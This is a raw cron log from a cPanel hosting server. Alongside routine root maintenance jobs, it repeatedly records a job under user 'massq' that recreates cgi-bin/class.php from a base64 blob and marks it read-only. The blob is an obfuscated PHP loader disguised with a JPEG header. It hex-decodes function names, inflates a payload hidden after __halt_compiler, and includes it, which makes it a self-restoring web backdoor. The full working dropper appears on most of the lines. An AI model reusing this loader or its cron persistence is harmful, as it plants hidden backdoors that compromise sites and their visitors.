Sep  7 22:05:01 server CROND[29217]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:05:01 server CROND[29219]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 22:05:01 server CROND[29215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:06:01 server CROND[30143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:06:01 server CROND[30145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:06:01 server CROND[30144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:07:01 server CROND[30530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:07:01 server CROND[30531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:07:01 server CROND[30532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:08:01 server CROND[30910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:08:01 server CROND[30911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:08:01 server CROND[30912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:09:01 server CROND[31306]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 22:09:01 server CROND[31307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:09:01 server CROND[31308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:09:01 server CROND[31309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:10:01 server CROND[31703]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:10:01 server CROND[31705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:10:01 server CROND[31706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:10:01 server CROND[31714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:10:01 server CROND[31713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:10:01 server CROND[31710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:10:01 server CROND[31712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:10:01 server CROND[31711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:11:01 server CROND[32638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:11:01 server CROND[32639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:11:01 server CROND[32640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:12:01 server CROND[573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:12:01 server CROND[574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:12:01 server CROND[575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:12:01 server CROND[577]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 22:13:01 server CROND[992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:13:01 server CROND[994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:13:01 server CROND[995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:14:01 server CROND[1471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:14:01 server CROND[1470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:14:01 server CROND[1473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:15:01 server CROND[1859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:15:01 server CROND[1861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:15:01 server CROND[1866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:15:01 server CROND[1872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:15:01 server CROND[1871]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 22:15:01 server CROND[1870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:15:01 server CROND[1875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:15:01 server CROND[1874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:15:01 server CROND[1876]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 22:16:01 server CROND[2767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:16:01 server CROND[2768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:16:01 server CROND[2766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:17:01 server CROND[3139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:17:01 server CROND[3140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
